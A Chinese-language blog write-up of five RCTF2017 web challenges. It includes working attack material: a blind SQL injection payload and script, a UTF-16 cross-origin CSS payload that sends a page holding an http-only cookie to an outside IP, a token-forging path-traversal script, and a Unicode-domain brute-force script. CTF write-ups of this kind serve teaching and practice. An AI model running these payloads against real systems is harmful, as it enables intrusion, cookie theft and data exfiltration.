LoRexxar's Blog | 信息技术分享

RCTF2017 web writeup

2017/05/23

膜蓝猫师傅,比赛中的很多题目使用的技巧其实都是常用的技巧,但是却没想到会在不同的情况下产生新的利用,让我有了新的理解。

QQ图片20170522042704.png-129kB

QQ图片20170522042700.png-2519.5kB

rcdn

1
2
3
4
5
Are you pro?

http://rcdn.2017.teamrois.cn

There is no XSS or SQLi. Just prove you are a pro(e.g owning a pro short domain), you will get flag.

这里是个挺常见的trick,之所以做出来的人,可能是没有想明白题目中的提示。

站内有效的功能不多,可以新建basic的cdn,新建成功之后,会获得一个8位的随机字符串做子域名。

还有个可以提交ticket的地方

1
http://rcdn.2017.teamrois.cn/support/ticket

重点是这里的subdomain,提交超过6位的子域名,就会提示,这里不能给basic使用

1
Only email support is available for Basic CDN Service.

如果随便填个短位的,就会提示不存在

image.png-70.9kB

如果企图用别的方式绕过的话,比如?,也同样提示不存在。

这里我觉得很多人都想多了,因为hint已经提示了返回flag的方式

1
Just prove you are a pro(e.g owning a pro short domain), you will get flag.

事实上,只要提交长度为6位一下,但是却又是属于自己的子域名的话,就能拿到flag了,而后台是浏览器完成的,会点击这里提交的链接。

这里用到的小trick其实很常见,大部分时候,会被我们利用在xss中.

可以看这篇文章http://www.hackdig.com/?08/hack-12844.htm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
dz : dz     //valid domain ext
₨ : rs //valid domain ext
№ : no //valid domain ext
℠ : sm //valid domain ext
℡ : tel //valid domain ext
™ : tm //valid domain ext
㎁ : na // valid domain ext
U+3377 : dm //valid domain ext
㎃ : ma // valid domain ext
㎋ : nf //valid domain ext
㎖ : ml //valid domain ext
㎙ : fm //valid domain ext
㎝ : cm //valid domain ext
㎰ : ps //valid domain ext
㎳ : ms //valid domain ext
㎺ : pw //valid domain ext
㎽ : mw //valid domain ext
㏄ : cc //valid domain ext
㏅ : cd //valid domain ext
㏉ : gy //valid domain ext
㏌ : in //valid domain ext
㏗ : ph //valid domain ext
㏚ : pr //valid domain ext
㏛ : sr //valid domain ext
fi : fi //valid domain ext
ſt : st //valid domain ext
st : st //valid domain ext

其中一共有这么多unicode的编码字符串。这里需要一个脚本来跑跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

import requests

s = requests.Session()

ll = ['dz', 'rs', 'no', 'sm', 'tel', 'tm', 'na', 'dm', 'ma', 'nf', 'ml', 'fm', 'cm', 'ps', 'ms', 'pw', 'mw', 'cc', 'cd', 'gy', 'in', 'ph', 'pr', 'sr', 'fi', 'ft', 'st']

url = 'http://rcdn.2017.teamrois.cn/dashboard/basic/new'

cookie = {'sessionid':'vk7i4n6qwy6m8c70je9occjyitttto73', 'csrftoken':'rqUhZxckLtvm25DOlhLwaaJgfhfv6sHiYxy5Yd78ODveAWiUbU29KieOujDpHVfg'}


for i in xrange(30):
r = s.get(url, cookies=cookie)

index = r.text.find('Pending</td>')

id = r.text[index-34:index-26]

print id
count = 0
for i in ll:
if i in id:
count+=1

if count >1:
print "[success] "+id
exit()

uurl = 'http://rcdn.2017.teamrois.cn/dashboard/basic/destroy/'+id

r = s.get(uurl, cookies=cookie)

image.png-97.7kB

login

登陆处有注入,这里最大的问题在于长度,username只能输入36位长的字符串。而这里也埋下了很多伏笔,题目本身是会返回报错的,我们也能从报错中获得很多信息,比如表名,fuzz列名,但实际上这里的显错理论上并不够做更多的事情(不知道有没有人能构造出来)…理论上来说这里个大坑。

通过显错我们可以得到,表名user,可以测试出的字段id,username,password

接下来就是构造盲注了,为了节省位数,我们需要用户名为一位的账号,不知道是不是故意的,有好几个账号为一个字母,密码也为一个字母的号,随便挑一个。

构造payload

1
"p'||substr(username,1,1)='a"

可以fuzz,是否存在用户名的第一位为a的用户,如果存在,那么select出来的密码将和输入的密码不匹配,登陆失败,如果不存在,select出来的密码将为账号p的密码,就会登陆成功。

翻了半天发现username没有收获,后来无意间注入了id为1的账号和密码,才有所收获

1
"p'||id=1&&substr(password,1,1)='a"

得到id=1,账号为admin,密码是一个hint

1
hint:flag_is_in_this_table_and_its_column_is_qthd2glz_but_not_the_

已经得到了有效信息,后面也没继续跑了

下面我们要注入这个字段qthd2glz,这里又有了问题,这个字段根据猜测应该是用来储存用户密码加密的盐的(后来发现还有假flag),因为长度限制的关系,我们只能通过前后字母的关系来确认判断,通过预设RCTF{开头来跑接下来的数据,很快我们就能得到一个全小写的flag.

1
RCTF{s1mpl3_m_err0r_ba3ed_i}

但问题在于我们无法知道哪些字母是大写的,这里只能通过hex来判断,但是这样一来,位数就不够用了,只能通过2位的前后关系来判断结果,就好像世界线崩坏了一样,不过配合一些手工,结果很多就出来了。

附上最后使用的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

s = requests.session()
ll = "_}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = "http://login.2017.teamrois.cn/login"

def test():
r = s.get(url = url)
csrf = r.text[1813:1867]
result="RCTF{S1mpl3_M_Err0r_Ba3eD_I}"

# for j in xrange(28):
for i in ll:
sql = "p'||substr(hex(qthd2glz),"+str((len(result))*2-1)+",4)='"+result[-1:].encode('hex')+i.encode('hex')
lll = "123456789012345678901234567890123456"
# RCTF{S1mpl3_m_err0r_ba3ed_i}
# RCTF{this
print sql
data = {"username":sql,"password":"p","_xsrf":csrf}
rr = s.post(url,data=data)

if 'Login' in rr.text:
print i
# result+=i
# break

# print result

test()

rblog

1
2
3
4
5
 There is no flaw in the source code. Think about other attack surface. If you have built your own blog, you will know where the flag is. 

https://static2017.teamrois.cn/web_ad7148fcda06df35821c298c2c766ef5/rblog_10df92e9d4ed73e4fa18ed2a7c67f38a.zip

https://blog.cal1.cn

hint也是一大把

1
2
3
4
There was a post on the blog containing the flag you want, but it has been deleted before the CTF starts. How will you find it back?


This challenge has nothing to do with social engineering or the writeups inside. What's the most common third party service related to personal blogs?

一个比较有趣的web题目,因为整个问题是我自己亲身经历过的,有一次在比赛还在check阶段的时候不小心把比赛的wp发到了blog上,后来被提醒就撤下了文章…结果无意间发现,blog中的文章虽然没了,但是rss阅读器却在我第一次更新的时候,就记录下了文章,并且在我删除文章之后,rss阅读器仍然保留了这部分。

所以看到hint很快就能想到这个,blog本身没有问题,flag是在比赛开始之前被删除了,问题在于blog的一个组件上。

于是在feedly上订阅

1
https://blog.cal1.cn/feed

就能拿到flag了,这里有个坑是,如果订阅

1
https://blog.cal1.cn/static/atom.xml

是没用的,feedly并不认为这两个是同一个源

image.png-160.6kB

noxss

1
There is no XSS or SQLi. Flag is in http-only cookie. The /phpinfo.php may be helpful.

hint

1
2
3
4
5
6
7
Trick the browser to leak information. Admin is using latest stable Chrome.

You can check this to find out what's new in php5.6: http://php.net/manual/en/ini.core.php .

The HTML filter is whitelist-only mode. If a tag or an attribute is not on the whitelist, it will be wiped out. Maybe you should investigate why I choose php5.5 instead of php5.6, for php5.5 is neither in apt-get source nor on docker official images.

php5.5 is used for a reason (instead of higher version).

不知道其他做题的人是怎么理解着4条hint的,下面我就先讲一下这部分。

后台的html filter是白名单,测试发现,只有

1
2
3
<img>
<a>
<link>

这三个可以使用,这几个里几乎只有link是基本上没做限制的。

其他的三条hint都是在围绕同一个信息。
image.png-15.9kB

默认编码,一个从5.6开始设置默认值,主要作用于htmlentities(),html_entity_decode() and htmlspecialchars()等等这些字符串处理函数,也许你不太明白怎么回事。

这个漏洞是我在学习google团队的bypass csp的时候发现的文章
http://blog.innerht.ml/cross-origin-css-attacks-revisited-feat-utf-16/

有心的话,可以在我得博客某个角落找到这篇文章。

首先科普一个问题,浏览器在处理请求结果的编码问题时候,通过有下面3个优先级:
原文见https://www.w3.org/TR/css3-syntax/#input-byte-stream

1、BOM
2、content-type header(e.g. Content-Type: text/html; charset=utf-8)
3、环境编码(<link>)

第一种暂且不论,因为我们很少遇到,第二种是我们比较常见的,也就是上面php默认编码会影响到的,生活中还有一种是我们经常会遇到的<meta charset>.,这种优先级则低于link。

那么问题来了,即便我们可以控制编码,又能怎么样呢。

这里要提到一种编码叫做utf-16,让我们来看看utf-16的结构

image.png-41.3kB

utf-16会把utf-8中正常的字符,2位作为一个字符解析,如果我们用utf-16引入utf-8,那么就会引入一大堆乱码。

如果你熟悉css,你可能会知道,css本身是一种容错率很强的语言,css文件即使遇到错误,也会一直读取,直到有符合结构的语句。

让我们回到站内继续讨论。

1、站内是一个比较常见的xss留言板,还有不太严格的csp

1
Content-Security-Policy:default-src *; img-src * data: blob:; frame-src 'self'; script-src 'self' unpkg.com; style-src 'self' unpkg.com fonts.googleapis.com; connect-src * wss:;

2、站内有phpinfo.php,在phpinfo中会记录当前用户的所有cookie信息,包括httponly(我们通过读取phpinfo页面内容就能获取flag)
3、phpinfo.php还会接受所有的request请求,显示在页面里
image.png-144.7kB

那么如果把上面的所有思路连接起来,就能构成我们要的payload了。

1、通过link,以utf-16的方式引入phpinfo页面。
2、写入

1
)},{}*{background:url(http://yourip?

类似的css

3、由于请求会在phpinfo页面中出现多次,所以后一条可以闭合前一条,用来读取这中间部分的页面内容。

完整payload:

1
<link tye="text/css" charset="utf-16" href='http://noxss.2017.teamrois.cn/phpinfo.php?a=%00)%00}%00,%00%7B%00%7D%00*%00{%00b%00a%00c%00k%00g%00r%00o%00u%00n%00d%00:%00u%00r%00l%00%28%00h%00t%00t%00p%00:%00/%00/%001%001%005%00.%002%008%00.%007%008%00.%001%006%00?%00' rel="stylesheet">  1

image.png-176.1kB

打回来的东西需要解码

1
2
3
4
5
6
s = "xxxx"
ss= decodeURIComponent(s)

var decodedData = unescape(escape(ss).replace(/%u([\da-f]{2})([\da-f]{2})/gi, '%$2%$1'));

decodedData

可惜了,因为构造的payload在bot那里遇到一些问题,所以把蓝猫师傅叫醒了修了下bot才收到flag,错过了一血。。。

image.png-238.1kB

但事实上,题目没有就这样结束,因为上面的方法是预期解,但蓝猫师傅告诉我,CyKor通过绕csp的方式执行js,读取了flag,我仔细研究一下发现确实可行。

由于cdnhttps://unpkg.com/收录所有版本的npm包,所以如果上传一个包含恶意payload的页面。

通过link import包含进来,那么js就会执行,并获取flag

Rfile

1
An anti-hotlink file storage.

hint

1
rFile is powered by flask, it's designed to be a Large Application at first

站内是个下载站,站内的下载做了防盗链,看index.js可以发现每30s会请求api/download,会返回json格式的数据。

image.png-84.2kB

测试一下发现token是md5(filename+timestamp),那我们可以随便写个exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import hashlib
import json
import sys

reload(sys)
def md5(data):
src = str(data)
m2 = hashlib.md5()
m2.update(src)
return m2.hexdigest()
def getTime(tmpToken,tmpFile,mtime):
mtime = int(mtime)
while True:
if md5(str(mtime)+tmpFile) == tmpToken:
return mtime
else:
mtime = mtime+1

def getToken(filename):
url = "http://rfile.2017.teamrois.cn/api/download"
req = requests.get(url=url)
data = json.loads(req.text)
tmpToken = data[0]['token']
tmpFile = data[0]['fname']
mtime = data[0]['mtime']
stime = getTime(tmpToken,tmpFile,mtime)
token = md5(str(stime)+filename)
return token
def getFile(filename):
token = getToken(filename)
url = "http://rfile.2017.teamrois.cn/api/download/"+str(token)+"/"+filename
print url
req = requests.get(url = url)
data = req.text
print data
# fp = open("./rfile/__init__.cpython-35.pyc","w")
# fp.write(data)
print "download success!"


getFile('../__pycache__/conf.cpython-35.pyc')

脚本有了,剩下的就是读取文件的问题了,开始研究一下,发现如果读取../__init__.py,会返回filetype not allowed,回想一下之前做过的pwnhub,classroom。

如果是python3写的python应用,那么一定会存在__pycache__/这个文件夹,这个文件夹里会存所有py文件生成的pyc文件。并且,后缀名为.cpython-35.pyc

那么我们尝试读取../__pycache__/__init__.cpython-35.pyc,然后用uncompyle反编译获取的py文件,代码里可以看到secret_key是从conf.py读取的,那么我们读取conf.cpython-35.pyc,就能拿到flag了。

image.png-81kB

CATALOG
  1. 1. rcdn
  2. 2. login
  3. 3. rblog
  4. 4. noxss
  5. 5. Rfile